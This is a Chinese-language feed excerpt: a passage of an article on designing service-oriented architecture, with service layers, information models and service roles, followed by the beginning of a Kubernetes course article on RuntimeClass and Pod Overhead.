        服务通常包含围绕着一个核心的业务功能操作以及相关联的操作。例如补货建议计算服务中核心的操作是生成货品+仓维度的补货建议单,其他相关操作包含查询补货建议单相关销量预测操作,查询补货建议单对应计划库存操作。

        服务 核心功能操作 关联操作
        补货建议计算服务
        品+仓维度补货建议计算
        补货建议单对应销量预测查询
        补货建议单对应计划库存操作

        2)服务实现

        服务实现指的是服务如何通过其明确定义的接口提供其能力。服务实现可以通过以下方式实现:

        • 完全基于编码实现
        • 基于其他服务的编排而成
        • 基于已有应用适配封装而成
        • 以上情况混合实现

        核心点是服务如何被实现的对于服务消费方来说是透明的,服务消费方仅仅需要关心的是服务是做什么的,而不是如何被实现的。

        服务可以提供在保持服务接口或者行为约定不改变的情况下,提供根据不同的行业不同场景提供各种不同的实现。

        服务实现在保持服务接口或者行为约定不改变的情况下,可以自由进行升级和切换。服务实现既可以是静态的更新升级,也可以使动态路由实时切换实现,如对应到不同的行业以及不同的业务场景的自动实现切换。

        不管服务实现如何升级或者按需自动路由切换,只用服务的行为和契约不会发生改变,用户也就是服务的消费者根本不会感知到任何不同。

        我们可以把服务接口想象成室内普通电源国标插口,服务策略为室内非防水情况下适用,服务契约想象成 24X7 的 220v 电压供电能力(其中 180V~250V 50Hz 是质量要求,24x7 稳定性要求,电流供给 <= 10A 是性能要求),此国标插座(服务提供方)可以给包含与此接口匹配且符合契约的任何电器(消费方)交互并提供供电能力,支持其运转。

        服务接口定义了交互的的风格和细节,而服务的实现定义了一个特定的服务提供方或者特定的业务实现如何提供其能力。

        这种类似连接点/插口的设计极大的方便了更松耦合的业务功能解决方案。

        三、服务接口与服务实现的逻辑构成

        服务接口与实现的构成也有两个重要的不同方面,分别是执行功能的方法和执行的信息数据。换句话说,一个服务是由一个业务服务操作集合以及对应操作的输入输出的抽象业务服务数据模型组成。这层业务服务数据模型是企业业务层次或者平台业务层次的业务实体的抽象,独立于底层数据存储与实现。此业务数据模型是和各子域密切相关联,但是超越各子域以上的,在完整的业务线或者平台层次上达成一致的业务数据模型,也就是说在各子域之间达成共识且约定的严格明确的公共模型,主要用于平台业务流程中不同域服务的交互,是平台层次统一的业务语言,我把它暂时称为平台业务数据模型。 此平台业务数据模型通常需要包含平台统一语义的业务术语表,平台各域核心实体表,平台各域核心实体交互图等。

        image.png

        接口与实现的逻辑构成:

        1)服务操作

        服务操作声明定义了这个操作的输入以及输出参数。

        2)平台业务实体模型

        平台业务实体模型描述了服务中输入输出数据的结构以及含义。服务接口中的信息和服
        务实现中逻辑数据之间的差异是至关重要的。

        在服务接口层次上,最重要的是信息必须在业务服务之间进行交互来赋能业务流程并完成业务流程。这些信息必须在参与流程的所有业务服务间达成一致且在服务之间通用,也就是平台层次所有服务公用且标准的业务实体模型,同时此业务实体模型必须在平台业务语义上明确且完成,确保可以支撑平台所有端到端的业务。此平台层级的业务实体模型并不是一蹴而就的,但是可以随着平台的重心变化不断迭代完善成型的。

        然而不同的是,从内部来看,很多服务在各自实现的子域内部都有这些信息的不同的超集,可能潜在的存在不同的数据格式。幸运的是,我们不需要感知也不需要在所有关联服务的相关子域实体模型上达成共识,即使不是不可能,但是也不太现实。与之相反,服务接口和服务实现的分离设计允许非常方便的进行平台业务实体模型和服务所在子域领域模型进行映射转换。

        3)服务接口最后一个重要的方面就是服务水平协议 SLA。服务水平 SLA 协议指定了服务的的两个重要方面的指标,分别是业务上的指标和技术上的指标:

        • 技术指标:响应时间RT,并发吞吐量 Throughput,可用性 Availability,可靠性 Reliablity。
        • 业务指标:完成的业务功能的质量或者完成度,如产生的补货建议是否满足业务预期的周转缺货KPI要求:周转下降 10 天,缺货率下降5%。

        服务化分层架构

        理解服务化分层架构,首先要对 TOGAF Meta-Model 有个清晰的理解,从元模型可以看出业务服务和业务流程的上承业务,下启系统平台的核心作用,一定要深刻理解业务服务和业务流程在企业架构中的重要性,下面我把我翻译后画的版本给大家放在这里,给大家做个参考,TOGAF 不多做解释,如有需要,大家可以交流,后面有时间尝试写下我对 TOGAF 的学习和理解。

        image.png

        通常情况下,我们会按照不同行业的不同的业务流程去搭建系统,如供应链最初在大家电 3W 行业孕育,我们按照 3W 的行业和业务场景搭建了平台商家相适应的计划系统;后续自营行业又根据自己的行业也搭建了自营的计划系统;后续小电数码、国际以及其他业务快速发展,跟随业务快跑的同时,也各自建立的各自的业务流程。在这个过程中,BPM 为建造不同的业务系统提供非常好的抽象支撑,但是经常的结果是,BPM 被用作构建了更高层抽象的,也更高效的,但是却是烟囱式的应用,而不没有更好的贡献更多的支撑到整体上能快速应对业务变化而更灵活,更敏捷的业务平台或者系统。

        而这正是面向服务的架构中业务规则以及决策作为服务要发挥更大作用的地方。面向服务的架构允许我们将特定业务流程中的业务规则和业务决策抽象分离出来变成业务规则或者决策服务,这些规则和决策服务就可以被灵活应用到不同的业务流程中,从而这些服务可以被统一管理和演化升级。

        BPM + SOA 一起提供了支撑企业架构的完美组合。BPM 提供更高层抽象定义业务流程的能力,以及与流程相关联的重要监控和管理能力;业务服务提供了支撑业务流程的核心的功能、决策以及信息。面向服务的架构则提供能力将服务组合在一起来支撑和创建灵活且敏捷的端到端的企业业务。如果只有 BPM 而没有 SOA 对于创建单独的业务应用或许非常有用,但是通常是创建的烟囱式的应用,很难扩展到企业内或者平台内不同的业务线。如果只有 SOA 而没有BPM虽然可以创建可重用且一致性高的服务,但是缺少将这些服务快速搭建业务流程并支撑端到端业务的能力,也无法支撑建立具有竞争力且可以随着外部竞争环境进行敏捷反应的业务。

        下图显示了一个建议的的封层服务化架构图,各分层如下:

        • 端到端业务流程

        业务流程是按照一定业务规则决定的顺序执行的业务操作组成。高层级的业务功能,通常跨越应用域或者业务线。通常由行业开发团队开发,此行业开发团队可以具备明确的实现组织结构,也可以由跨团队的相关域共同组成虚线团队。例如,电商业务中,用户选购下单交互流程;供应链业务中的补货调拨计划流程等。

        • 平台业务服务

        高度模块化的业务功能单元,由不同类型的子域服务组合编排而来,可作为业务流程的编排单元。跨行业通用的业务服务可由功能所在核心域开发团队编排开发,行业内通用的业务服务可以由行业开发团队负责编排开发。例如,补货审批服务

        • 子域服务

        平台各功能子域提供的服务,对平台可见,用于平台业务服务的组合编排,也可以作为更高层的业务流程编排的基础单元。子域服务通常由平台各子域开发团队负责开发。例如,销量计划服务,补货建议计算服务。

        • 子域基础服务

        用于支撑各功能子域服务的基础服务,对子域可见,对平台不可见,用于子域服务的编排。

        子域基础服务通常由平台各子域开发团队负责开发。例如,入仓决策服务,计划单据服务,计划库存服务等。

        • 基础子域服务

        或称为基础业务域服务,提供平台基础业务服务,为各个功能子域或平台业务服务提供基础业务功能及数据服务。例如:商家服务,货品服务,库存服务等。

        • 基础架构服务层

        提供不同层次所公用的基础架构服务,如用用户管理,权限管理,操作审计等等。

        image.png

        我们通常按照上述分层结构来描述平台架构或者企业内部架构,看上去好像层次结构清晰明了,但是却是不完整的,因为此面向服务的架构描述缺失了平台系统架构中一个核心部分,暨信息及信息模型分层,这一点非常之关键,往往会决定架构的成功与否。

        为了使架构更完整同时也更真实,我们需要添加对应的完整信息抽象(实体模型 or 领域模型):

        • 核心单据模型

        端到端业务流程中操作的核心单据,承载业务核心价值的信息单元模型,例如,销售订单,采购订单,补货计划单等。此模型通常是平台公共语义模型的核心子集。

        • 平台公共语义模型

        定义了平台层业务流程、业务服务交互数据。在平台层面或企业层面,端到端业务流程中交互信息的公共语义模型,此模型不仅对平台业务流程中交互的各实体进行了明确的定义,而且包含了业务流程中所需要的完整的业务语义实体,同时各业务语义实体边界明确,责任清晰。核心单据模型通常是平台公共语义模型的子集。平台公共语义模型包含下层子域的对外服务实体子集,按照端到端的完整平台业务语义,可由平台各功能子域模型所共享给平台的核心实体子集有机整合而成,也可由平台业务模型全新定义,或者从 TOP-DOWN 以及 BOTTOM-UP 两个方向共同融合而成。需要注意的是此模型必然是无法一蹴而就,需要经过无数迭代而不断完善,但其一定是不可或缺的。平台的诸多架构决策和不断演化完善需要基于此模型来进行。

        • 子域领域模型

        平台各功能子域的领域模型,用于驱动各功能子域的应用系统设计和开发。子域领域模型需要保持动态稳定,通过防腐层同所依赖的外域或者外部服务进行隔离,防止外部服务污染子域内的核心业务语义,同时保持域内业务功能灵活可控。子域领域模型仅通过其对外服务实体子集对外可见,其余对外不可见。

        • 跨域映射模型

        用于各子域领域模型实现对外部模型的防腐依赖。

        • 基础架构服务层

        提供不同层次所公用的基础架构信息模型,如用户模型,权限模型等。

        image.png

        信息架构模型框架

        现在来讨论下服务化分层架构重视度并不太高的另一个重要侧面:信息架构,之所以说信息架构非常之重要,是因为信息架构与服务化架构是一个密不可分的完整的整体。我对信息架构模型进行了分层划分,下面从 TOP_DOWN 方向来讨论不同的分层模型。

        image.png

        • Level 0:战略与决策模型(高层战略视角)

        这层次模型用于定义企业的战略方向和商业目的,从而定义了企业内任何系统平台开发的方向和终局。这必然作为企业内任何系统平台开发的基本背景和基调,影响任何系统平台开发项目的中长期目标定义和终局设定。

        • Level 1:商业模式(业务线 owner 视角)

        这层模型从业务线 owner 的视角,用运营主体的业务术语描述其商业模式的本质,包括其整体结构,业务流程,以及组织结构等。

        • Level 2:业务抽象概念模型

        这层模型从业务架构的视角用信息化的方式对单个业务线或者多个业务线的业务进行抽象。Level 1 描述是对于企业业务来说有意义的东西或者事情,而 Level 2 则给予这些有意义的东西以更严格且清晰的定义,明确其内涵以及外延并体系化,同时根据不同行业线的业务内容进行提取抽象,抽象出共性的内容,用于更高效灵活的描述和定义业务 。

        Level 1 描述的是业务运营人员所感知的业务流程,Level 2 不仅描述了这些业务流程,更重要的是抽象并描述了了这些业务流程所应该包含的底层业务功能。

        同样的,Level 1 描述对企业业务来讲所有重要的东西,Level 2 描述的是组织想要管理的信息后面最根本的内容。Level 1 描述的事情是 Level 2 定义的基本实体的实际业务中对应的样本或事例。

        简而言之,Level 2 是 Level 1 的抽象(Abstraction)与综合(Synthesis)。 为了达成这一视图,必须要仔细分析和归纳,有时候需要演绎的方式来定义出隐藏在企业业务运营主体视图下根本结构和内容。

        • Level 3:平台公共语义模型

        Level 3 层公共语义模型同 Level 2 层业务概念模型保持紧密一致,在此基础上增加了服务化视角的语义。Level 3 公共语义模型描述的内容是在必须在平台层业务服务间共享的具有一致语义的业务实体和信息,是平台层一致的共享信息模型。这层模型用于描述平台层服务接口交互的共享信息,基于平台完整业务语义下所有服务所公共数据的标准化视图模型。简而言之,平台公共语义模型,定义了业务平台层次基本业务服务语义,是平台各业务服务之间,平台业务流程和平台业务服务交互的统一语言。

        • Level 4:域模型

        Level 4 层域模型定位于平台各子域的领域模型/实体模型,用于对各子域的核心业务功能进行抽象。域模型是平台各子域的标准模型,不仅明确定义的各子域功能服务暨服务接口的语义,同时也包含各子域内服务实现中的关键实体的定义。域模型从整体上来说是平台各子域的私有模型,除了服务语义外整体不对外可视。公共信息中的服务视图是域模型的子集。

        域模型核心用于除了用于暴露到平台子域的业务服务设计与实现外,同时也用于驱动域内服务功能的设计和实现。

        域模型是需要保持动态稳定的,除非域内业务发生本质变化,域模型应该是相对稳定的。域模型稳定性最大的敌人是外部的依赖,如何不受外部依赖的侵蚀而逐渐腐败,域防腐层存在的最主要原因。子域防腐层维护外部依赖服务和子域模型之间的动态映射,维护域模型的独立性,保护域模型不受有害侵蚀。

        域模型我理解基本和我们通常谈的领域模型基本接近,对于各域内业务的抽象,驱动各域技术设计方案设计和实现,至于具体的模型表现形式,采用基于亚里士多德的物质本源的思想(“Material Cause,Formal Cause,Efficient Cause,Final Cause" —> 实体+属性+关系)的ER图,还是基于我们老祖宗老子道家思想("人法地、地法天、天法道、道法自然" —> 实体+行为)的思想的领域驱动 DDD 的方式,个人认为各有伯仲,组中能清楚表达出业务本质即可,后面单独写一篇抽象建模的文章聊一下这两种不同的思想。

        • Level 5:实现模型

        此层模型为开发者视角的实现模型,也就是我们系统实现核心的对象模型,是我们系统落地的基石。

        设计服务

        我们初步了解的什么是服务,以及什么是服务化的分层?那如何设计服务以及服务化架构呢?下面给出基本步骤和方案。

        一、理解整体背景

        首先,我们要理解服务化架构的整体背景。我们必须理解我们所支撑的业务和业务根本驱动力以及所有的业务流程,业务场景以及业务用例;同时对于平台系统,我们还必须理解公司的战略所赋予平台的使命是什么?我们平台中长期的目标是什么?平台的终局是什么?这些组合和在一起才是服务化架构的完整的上下文背景。这些必须要反映到我们的业务模型、平台公共语义模型和各域模型中去。

        然后,我们需要提出并回答如下问题:

        • 我们当前支撑的是什么样的业务?(业务模型)
        • 这个业务或者这些业务的中长期目标和短期目标分别是什么?
        • 平台的短中长期目标是什么?平台的终局是什么?
        • 上述目标是否存在冲突,如何平衡和取舍?
        • 实现这些目标,需要完成什么样的成果?
        • 这些成果如何衡量?
        • 取得这些成果,需要什么样的能力和信息?
        • 实现这些能力需要什么样的流程、服务、实体以及规则
        • 现有的服务、应用或者系统提供了那些基本能力和信息?

        前面六个问题描述了整体的架构需求(包括业务和平台),而剩下的问题则描述了整个服务化架构的上下文以及引入了服务目录库的需求。我们服务不能只从单个服务的角度来看,而必须从整个服务集合的角度来反应完整的业务语义和平台语义。我们的服务集合也就是服务目录库必须具备完整的上下文语义,必须能识别出:

        • 整体的上下文背景,包括完整的业务语义和平台语义。
        • 服务职责范围
        • 关联的服务的分组
        • 服务的类型和角色

        服务目录库的设计必须支持两个主要的设计时目标:

        • 第一个目标是要提供一种机制来帮助理解服务整体的上下文背景,用于更好的服务选择及更高效的服务重用。特别是,这个服务实现了什么样的责任,以及如何和其他的服务相关联。
        • 第二个目标是要提供一种机制来识别一个特定服务的责任边界,用来指引服务的实现。这是一个非常关键的点,特别是在避免服务的功能和数据重复上非常重要,不仅仅是避免重复建设,更核心的是要以此保证业务功能和数据的一致性。

        服务目录库中的服务可以按照服务类型以及服务角色来进行组织。服务类型请参照服务化分层架构内容里的描述;服务角色包含任务服务角色、实体服务角色和决策服务角色,请参照后面小节描述。

        二、服务设计原则

        面向服务化的架构的其中一个成功的关键是创建一个具备完整业务语义的服务集合以便于可以方便一起进行组合编排来支撑不同的业务流程以及丰富的业务场景。

        我们经常谈论各功能域要提供松耦合的服务,是因为服务间的松耦合是非常重要的,特别是通过减少服务间的依赖以便于服务可以在不同的场景中被复用,以及可以起到隔离变更影响的作用。但是如何才能尽可能的实现这个目标呢?

        首先我们来看下对于服务最重要点是什么?首先就是这个服务提供了什么样的业务功能,其次这个服务对业务有价值的数据产生了那些影响。从这两个点上我们就可以比较
        容易得出两种类型的耦合在服务接口设计中是特别重要的:

        • 数据依赖
        • 功能依赖

        举例来说明下:

        交易服务协调所有的活动,然后依赖其他服务来帮助完成流程。交易服务依赖于或者说耦合于用户服务,商品服务,库存服务,营销服务、订单服务以及支付服务等。

        为啥交易服务没有实现所有的功能?

        首先是因为我们想在其他高级别流程或者服务中重用底层的能力。

        第二是交易服务服务并不负责用户服务,商品服务,库存服务,营销服务、订单服务以及支付服务。交易服务只是使用它们,而不是负责实现它们。

        用户服务被用作管理客户信息访问,它具有唯一的责任来提供、维护和更新客户信息,这样做的目的是为了可以在任何需要访问客户数据服务的地方重用客户服务。比代码重用更重要的是隔离或者是集中式访问客户信息,因为只有唯一的路径访问数据,数据就总是一致的,真正实现 Source Of Truth。因此,尽管有很多服务包含交易服务,购物车,订单历史等服务需要访问客户服务,通过松耦合的这种模式去管理这些依赖是比较容易被理解的。

        通过创建服务来执行用户管理,商品管理,库存管理,以及营销管理等,就可以在任何可以用到的地方,执行保持一致性的这些业务功能。

        敲黑板:好的服务设计并不仅仅是关注重用性,更重要的是要提供一致性,既包含功能一致性,也包含数据一致性。

        那么下一个问题是你如何决定有哪些服务以及这些服务分别是什么呢?同样,你用功能分解和信息隔离组合在一起来决定服务有哪些并且各自是什么?

        • 对线上交易功能的分解引导去识别用户、商品、库存、营销、订单以及支付等相关功能服务。
        • 对信息的隔离引导我们去识别用户和商品等作为交易订单中的共享信息。
        • 面向服务的架构中服务设计的问题需要跨越多个以致于所有的流程中来一起考虑。

        因此,服务设计原则基本原则如下:

        • 避免服务间的功能重复
        • 避免服务间的功能缺失
        • 避免数据重复
        • 实现数据的协同访问
        • 具备统一、一致的方式来执行给定的功能

        在服务化设计中,如何实现上述的这些原则呢?答案是提出并回答如下问题:

        • 谁负责这个功能?
        • 这个功能在哪里被用到的?
        • 谁负责管理这些指定的数据?
        • 谁负责定义和实现那些特别的业务规则
        • 流程中的哪个步骤具备执行这个任务所需要的特定的知识

        这些问题的答案会帮你来识别如下信息:

        • 服务应该做什么?
        • 服务对什么负责?
        • 同样重要的是,识别服务不应该做什么,而应该依赖其他的服务来支撑

        三、服务颗粒度与类型

        我们通常设计服务时候一个很大的疑惑是我的服务到底要设计成什么样的颗粒度,应该更粗粒度一些,还是更细粒度一些?答案是:没有一个统一正确的服务颗粒度标准。那怎么办?我如何设计我的服务的颗粒度呢?虽然没有统一的标准,但是我们可以依赖下面的因素来决定合适的服务粒度:

        • 谁是服务的潜在消费方?其他服务,业务流程还是外部合作方?
        • 服务在哪里被消费,通过什么样的路径被消费,也就是服务的拓扑结构是什么?
        • 服务的性能要求是什么?
        • 服务预期的业务范围或者边界是什么?

        在几乎任何复杂的环境或者系统平台中,我们可以预期到多种多样类型的服务。这些服务具有不同的类型和颗粒度,可以参考服务化分层中的内容,也可以见下面的描述:

        • 端到端的业务流程

        业务流程通常跨越整个企业或者平台多个业务域,通常是由底层服务构建而成

        • 平台业务服务

        业务服务是最粗粒度的服务,业务服务提供高度抽象的,组合的业务功能给到平台或者企业。业务服务的功能和数据同业务流程所需要的业务语义紧密结合。数据整合服务在这个层次提供端到端的业务流程所需要的整合后的数据。

        • 子域服务

        子域服务是中等粒度的,他们提供特别针对于每个业务子域的业务相关服务,被本域内的不同业务服务所使用,但是未必暴露出子域外

        • 子域基础服务

        子域基础服务通常是最小粒度的服务,他们提供更低层次的服务,用来提供子域内子域业务功能的基本功能支撑

        • 基础子域服务

        子域基础服务通常也提供教小粒度的服务,用于支撑上层业务功能服务的业务功能完整实现。

        • 基础架构服务层

        基础架构提供了在更高层级服务构建中细粒度的能力,独立于任何业务域。这些服务需要和业务相关明确区分开来,例如安全认证,权限管理以及纯粹技术编排服务。

        四、服务角色

        独立于服务的粒度,职责范围以及服务创建以外的另外一个重要考量或者说是侧面是:服务在服务组合或者流程编排中所承担的角色是什么?

        那么怎么来区分不同的角色呢?我们使用关注点隔离的架构原则。例如,我们在构建应用中就使用了将数据同逻辑隔离作为重要的概念。这样不仅提供了不同关注点解耦的可能以及机会,而且允许采用不同的方式,在不同的地方来实现这些不同的关注点。

        对业务流程进行单独管理的BPM就是一个非常好的例子,BPM作为另外一个关注点分离的例子,将业务流程方案从其他逻辑中分离出来,可以使工作流程可以在一个特定的层次或者环境内进行执行和管理, 这样就可以实现通过快速的建立新的流程模型来快速响应业务的变化。同时面向服务的架构SOA提供了将业务服务作为构建业务流程的基础构件的功能。业务规则系统BRMS同样也作为一个关注点分离的例子,将业务规则或者业务决策从其他应用逻辑中区分开来,这样业务规则和业务决策也可以在一个特定的层次被执行和管理,从而就可以很容易的被变更来支持新的业务需求。这里,业务规则以及决策服务也是面向服务的机构来暴露出规则和决策服务来支撑规则和决策与业务流程的分离。

        通常我们通过较粗粒度的来定义三大类服务角色来构建不同的服务层次:

        • 任务服务角色

        任务服务通常实现一个完整的业务功能,既可以是基本业务功能,也可以是复杂的业务功能,如计算某个货品在某个仓的补货量,或者一个简单的业务校验,如此货品在此仓是否可补。

        此服务类型颗粒度范围较广,包含从独立的子域基础服务到大的平台业务服务都可以具有任务服务角色,更小颗粒度的服务倾向于具有更通用的目的,更大的可重用的潜力。业务服务几乎总是承担任务服务的角色,通常是小颗粒度服务较大的组合,可以被设计成支持一个或者更多特定的流程。因此这些服务通常在跨业务流程中广泛复用的潜力更低。但是也是正常的,因为他们通常是有其他可重用的服务组成的。

        通常,具有业务角色的服务是主动服务,通过主动行为来提供价值

        • 实体服务角色

        主要管理访问业务实体的服务具有这个角色。业务实体的例子如用户、类目、商品、价格、库存、购物车,主要对应主要的业务信息。实体通常是中到大型实体,倾向于独立于任何特定的业务流程,而可做为多个不同业务流程的组成部分。具有实体服务角色的服务通常通过适配和提供需要的信息来实现任务的方式来支撑任务服务。实体服务通常都具备较大的重用的潜力。

        • 规则 / 决策服务角色

        规则 / 决策服务是通过执行业务规则来提供业务决策的服务,如补货计划自动审核服务。

        规则 / 决策服务通常用作对复杂问题进行判断或者支持变化频繁的业务规则,如复杂且多变的审核规则等。

        规则 / 决策服务通常为小到中等大小颗粒度,通常用来组装成更大的服务。规则/决策服务是可以不同层次不同类型的服务,包括平台业务服务,子域服务,子域基础服务等,但是通常情况下规则/决策服服务也来支撑这些服务类型。

        image.png

        我们通过组合这些不同类型的服务角色来提供灵活的业务能力,从而用来支持业务流程内的活动。我们提供了一些基本原则来帮助我们进行服务组合以便于帮我们减少依赖,限制耦合以及最大化灵活性。

        服务层次以及组合基本原则:

        • 业务流程的任务通过任务服务实现,业务流程路由的核心规则由规则/决策服务来提供,而不是定义在流程网关内。这一块内容后续详细说明。
        • 更高层次的任务为核心的业务服务由其他更小的服务组成
        • 服务依赖严格单向原则,上层服务可以依赖下层次服务以及同一层次服务,但是下层服务不可以依赖上层服务
        • 一个任务服务可以组合规则/决策服务、实体服务以及其他任务服务
        • 但是一个实体服务不允许直接调用其他实体服务

        现在我们可以通过丰富的流程,实体和决策服务的集合,可以创建新的不同的服务组合,把规则的灵活可变的好处同服务化架构的模块化,灵活性以及重用性结合起来作为业务系统平台级别的基本架构方式。

        服务化如何成功?

        一、大规划

        大的规划首先要明确 2-3 年内的服务化的目标。大的规划切记事无巨细,而是根据长期规划设定明确的指导性原则和要求,在体系化的基础上鼓励协同和创新。

        二、小目标

        服务化不应该是运动式的大跃进推进,而应该是坚持试点、推广、总结、扩大试点,从而由点到面,逐步落实的方法,由各域根据规划的体系化要求,再各自情况暨各自成熟度来设定各自服务化目标,制定一个个小目标,快速迭代,敏捷式的总结推进。

        三、真共识

        建立共识的根本是要讲清楚服务化的目标、架构、设计、开发背后的清楚的逻辑,让每个人想的清楚,听的明白。

        四、接地气

        接地气同达成共识一样,要用朴素的工程师语言讲清楚目标和逻辑,而不是拿各种看上去非常光鲜亮丽的各种名词来充当台面,讲的人解释不清楚,听得人一头雾水,没有体系化逻辑来支撑落地,最终很难达到服务化真正的目标的。

        五、结硬寨

        服务化是一个庞大的,迭代的,渐进的体系化工程,不是快闪战,不是突袭战,是场持久战,一定要有曾国藩的“结硬寨,打呆仗”的耐心和准备,踏踏实实落地迭代推进,小步快跑,在坚持体系化思考的基础上进行持续总结改进,通过一个接一个战斗,一个小胜利接一个小胜利,一个战役接一个战役不停的攻城略地的基础上逐渐迈向成功。

        六、Think Fast & Slow

        一句话,高效的方式就是慢想、快干。我们不一定缺少高执行力的人,但是一定缺少能独立思考并体系化行事的人。

        ]]>
        从零开始入门 K8s | 理解 RuntimeClass 与使用多容器运行时 Fri, 02 May 2025 09:39:04 +0800 4.7头图.png

        作者 | 贾之光  阿里巴巴高级开发工程师

        本文整理自《CNCF x Alibaba 云原生技术公开课》第 30 讲,点击直达课程页面
        关注“阿里巴巴云原生”公众号,回复关键词“入门”,即可下载从零入门 K8s 系列文章 PPT。

        一、RuntimeClass 需求来源

        容器运行时的演进过程

        我们首先了解一下容器运行时的演进过程,整个过程大致分为三个阶段:

        1.png
         

        • 第一个阶段:2014 年 6 月

        Kubernetes 正式开源,Docker 是当时唯一的、也是默认的容器运行时;

        • 第二个阶段:Kubernetes v1.3

        rkt 合入 Kubernetes 主干,成为了第二个容器运行时。

        • 第三个阶段:Kubernetes v.15

        与此同时,越来越多的容器运行时也想接入到 Kubernetes 中。如果还是按 rkt 和 Docker 一样内置支持的话,会给 Kubernetes 的代码维护和质量保障带来严重挑战。

        社区也意识到了这一点,所以在 1.5 版本时推出了 CRI,它的全称是 Container Runtime Interface。这样做的好处是:实现了运行时和 Kubernetes 的解耦,社区不必再为各种运行时做适配工作,也不用担心运行时和 Kubernetes 迭代周期不一致所带来的版本维护问题。比较典型的,比如 containerd 中的 cri-plugin 就实现了 CRI、kata-containers、gVisor 这样的容器运行时只需要对接 containerd 就可以了。

        随着越来越多的容器运行时的出现,不同的容器运行时也有不同的需求场景,于是就有了多容器运行时的需求。但是,如何来运行多容器运行时还需要解决以下几个问题:

        • 集群里有哪些可用的容器运行时?
        • 如何为 Pod 选择合适的容器运行时?
        • 如何让 Pod 调度到装有指定容器运行时的节点上?
        • 容器运行时在运行容器时会产生有一些业务运行以外的额外开销,这种「额外开销」需要怎么统计?

        RuntimeClass 的工作流程

        为了解决上述提到的问题,社区推出了 RuntimeClass。它其实在 Kubernetes v1.12 中就已被引入,不过最初是以 CRD 的形式引入的。v1.14 之后,它又作为一种内置集群资源对象 RuntimeClas 被引入进来。v1.16 又在 v1.14 的基础上扩充了 Scheduling 和 Overhead 的能力。

        2.png

        下面以 v1.16 版本为例,讲解一下 RuntimeClass 的工作流程。如上图所示,左侧是它的工作流程图,右侧是一个 YAML 文件。

        YAML 文件包含两个部分:上部分负责创建一个名字叫 runv 的 RuntimeClass 对象,下部分负责创建一个 Pod,该Pod 通过 spec.runtimeClassName 引用了 runv 这个 RuntimeClass。

        RuntimeClass 对象中比较核心的是 handler,它表示一个接收创建容器请求的程序,同时也对应一个容器运行时。比如示例中的 Pod 最终会被 runv 容器运行时创建容器;scheduling 决定 Pod 最终会被调度到哪些节点上。

        结合左图来说明一下 RuntimeClass 的工作流程:

        1. K8s-master 接收到创建 Pod 的请求;
        2. 方格部分表示三种类型的节点。每个节点上都有 Label 标识当前节点支持的容器运行时,节点内会有一个或多个 handler,每个 handler 对应一种容器运行时。比如第二个方格表示节点内有支持 runc 和 runv 两种容器运行时的 handler;第三个方格表示节点内有支持 runhcs 容器运行时的 handler;
        3. 根据 scheduling.nodeSelector, Pod 最终会调度到中间方格节点上,并最终由 runv handler 来创建 Pod。

        二、RuntimeClass 功能介绍

        RuntimeClass 的结构体定义

        3.png

        我们还是以 Kubernetes v1.16 版本中的 RuntimeClass 为例。首先介绍一下 RuntimeClass 的结构体定义。

        一个 RuntimeClass 对象代表了一个容器运行时,它的结构体中主要包含 Handler、Overhead、Scheduling 三个字段。

        • 在之前的例子中我们也提到过 Handler,它表示一个接收创建容器请求的程序,同时也对应一个容器运行时;
        • Overhead 是 v1.16 中才引入的一个新的字段,它表示 Pod 中的业务运行所需资源以外的额外开销;
        • 第三个字段Scheduling 也是在 v1.16 中被引入的,该 Scheduling 配置会被自动注入到 Pod 的 nodeSelector 中。

        RuntimeClass 资源定义例子

        4.png
        5.png

        在 Pod 中引用 RuntimeClass 的用法非常简单,只要在 runtimeClassName 字段中配置好 RuntimeClass 的名字,就可以把这个 RuntimeClass 引入进来。

        Scheduling 结构体的定义

        顾名思义,Scheduling 表示调度,但这里的调度不是说 RuntimeClass 对象本身的调度,而是会影响到引用了 RuntimeClass 的 Pod 的调度。

        6.png

        Scheduling 中包含了两个字段,NodeSelector 和 Tolerations。这两个和 Pod 本身所包含的 NodeSelector 和 Tolerations 是极为相似的。

        NodeSelector 代表的是支持该 RuntimeClass 的节点上应该有的 label 列表。一个 Pod 引用了该 RuntimeClass 后,RuntimeClass admission 会把该 label 列表与 Pod 中的 label 列表做一次合并。如果这两个 label 中有冲突的,会被 admission 拒绝。这里的冲突是指它们的 key 相同,但是 value 不相同,这种情况就会被 admission 拒绝。另外需要注意的是,RuntimeClass 并不会自动为 Node 设置 label,需要用户在使用前提前设置好。

        Tolerations 表示 RuntimeClass 的容忍列表。一个 Pod 引用该 RuntimeClass 之后,admission 也会把 toleration 列表与 Pod 中的 toleration 列表做一个合并。如果这两处的 Toleration 有相同的容忍配置,就会将其合并成一个。

        为什么引入 Pod Overhead?

        7.png

        上图左边是一个 Docker Pod,右边是一个 Kata Pod。我们知道,Docker Pod 除了传统的 container 容器之外,还有一个 pause 容器,但我们在计算它的容器开销的时候会忽略 pause 容器。对于 Kata Pod,除了 container 容器之外,kata-agent, pause, guest-kernel 这些开销都是没有被统计进来的。像这些开销,多的时候甚至能超过 100MB,这些开销我们是没法忽略的。

        这就是我们引入 Pod Overhead 的初衷。它的结构体定义如下:

        8.png

        它的定义非常简单,只有一个字段 PodFixed。它这里面也是一个映射,它的 key 是一个 ResourceName,value 是一个 Quantity。每一个 Quantity 代表的是一个资源的使用量。因此 PodFixed 就代表了各种资源的占用量,比如 CPU、内存的占用量,都可以通过 PodFixed 进行设置。

        Pod Overhead 的使用场景与限制

        Pod Overhead 的使用场景主要有三处:

        • Pod 调度

        在没有引入 Overhead 之前,只要一个节点的资源可用量大于等于 Pod 的 requests 时,这个 Pod 就可以被调度到这个节点上。引入 Overhead 之后,只有节点的资源可用量大于等于 Overhead 加上 requests 的值时才能被调度上来。

        • ResourceQuota

        它是一个 namespace 级别的资源配额。假设我们有这样一个 namespace,它的内存使用量是 1G,我们有一个 requests 等于 500 的 Pod,那么这个 namespace 之下,最多可以调度两个这样的 Pod。而如果我们为这两个 Pod 增添了 200MB 的 Overhead 之后,这个 namespace 下就最多只可调度一个这样的 Pod。

        • Kubelet Pod 驱逐

        引入 Overhead 之后,Overhead 就会被统计到节点的已使用资源中,从而增加已使用资源的占比,最终会影响到 Kubelet Pod 的驱逐。

        以上是 Pod Overhead 的使用场景。除此之外,Pod Overhead 还有一些使用限制和注意事项:

        • Pod Overhead 最终会永久注入到 Pod 内并且不可手动更改。即便是将 RuntimeClass 删除或者更新,Pod Overhead 依然存在并且有效;
        • Pod Overhead 只能由 RuntimeClass admission 自动注入(至少目前是这样的),不可手动添加或更改。如果这么做,会被拒绝;
